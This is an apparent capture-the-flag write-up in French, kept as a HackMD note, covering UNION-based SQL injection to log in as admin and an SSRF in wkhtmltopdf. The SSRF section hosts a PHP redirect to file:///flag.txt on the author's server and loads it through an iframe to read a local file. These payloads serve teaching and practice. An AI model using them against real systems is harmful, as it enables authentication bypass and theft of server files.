Try   HackMD

SQLi - UNION Based

Detection

Pour récupérer le nombre de colomnes, on peut utiliser:

`' UNION SELECT NULL--`

NULL représente une colomne (attribut vide), que l'on peut incrémenter jusqu'à obtenir le nombre de colomnes final.

Pour récupérer le type de la colomne (string, int..), on peut:

`' UNION SELECT NULL,NULL,'a',NULL--`

Si la colomne n'est compatible avec le type, on aura une erreur

Exploitation

On récupère le contenu de la colomne admin.
Pour cela, on selectionne en premier l'id de la bd , ici on prend 1 par guess.

' UNION SELECT 1, 'admin', 'a

Et on lui donne en paramètre de password le char a, étant le password que nous allons rentré dans la query "password" de notre requête. On laisse la quote ouverte pour ne pas casser la requête dans laquelle on se situe.

On récupère le content :)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

SSRF - wkhtmltopdf

On remarque que lorsqu'on envoie une string, elle est encodée en base64 et passée dans un tool qui nous la rend en pdf

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

On récupère le .pdf, et lorsqu'on le string on récupère le nom du tool, ainsi que sa version

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Une recherche assez simple et on se rend compte qu'il est possible de SSRF avec celui-ci

Je lance un petit serveur php avec:
php -S monip:8000

Pour lire le contenu du serv, je créer une payload que j'host sur mon serveur afin de récupérer le contenu de la page souhaitée:

<?php header('location: file:///flag.txt'); ?>

J'encode en b64 et j'envoie au site cette requête, allant chercher sur mon serveur mon script contenant le localtion:file.. me permettant d'exiltrer le contenu de cette page.

<iframe src=http://monserv:8000/mimi.php width=1000px height=1000px></iframe>

Tadam :)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →